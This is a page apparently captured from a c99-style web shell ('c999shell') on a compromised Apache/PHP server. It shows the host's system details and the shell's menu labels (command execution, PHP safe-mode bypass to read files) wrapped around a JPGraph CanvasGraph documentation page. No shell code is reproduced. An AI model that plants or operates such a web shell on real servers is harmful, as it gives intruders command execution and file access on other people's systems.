Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/manage_22222/jpgraph/docs/ref/ drwxr-xr-x |
Viewing file: Select action/file-type: CLASS CanvasGraph EXTENDS Graph
(Defined in: jpgraph_canvas.php : 21)Class usage and Overview If you for some reason just want plain canvas to draw on using the direct drawing method you can create a new canvas with this class.
The canvas is meant to be manipulated through the Image class which can be found as an instance variable ($graph->img) in the canvas class. Please remeber taht using the drawing methods in the Image class assumes screen (pixels) coordinates.
See also related classes: Graph
Class Methods
Description See Graph::Graph() for description, this method is identical. See also Graph::Graph
Example // bottom right $canvas = new CanvasGraph(300,200); $canvas->img->SetColor('black*); $canvas->img->Line(0,0,300,200); $canvas->Stroke();
Description Calling this method will fill the margin (with the margin color) and fill the plot area with the plot color. You should call this method before stroking anything else to the canvas as otherwise what you have stroken will be overwritten. Example $g = new CanvasGraph(400,200,'auto'); $g->SetMargin(5,11,6,11); $g->SetShadow(); $g->SetMarginColor("teal"); // We need to stroke the plotarea and margin before we add the // text since we otherwise would overwrite the text. $g->InitFrame(); // Draw a text box in the middle $txt="This\nis\na TEXT!!!"; $t = new Text($txt,200,10); $t->SetFont(FF_ARIAL,FS_BOLD,40); // Stroke the text $t->Stroke($g->img); // Stroke the graph $g->Stroke();
Description Stroke a file to browser or file. See Graph::Stroke() for more details. See also Graph::Stroke
Example
|
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0117 ]-- |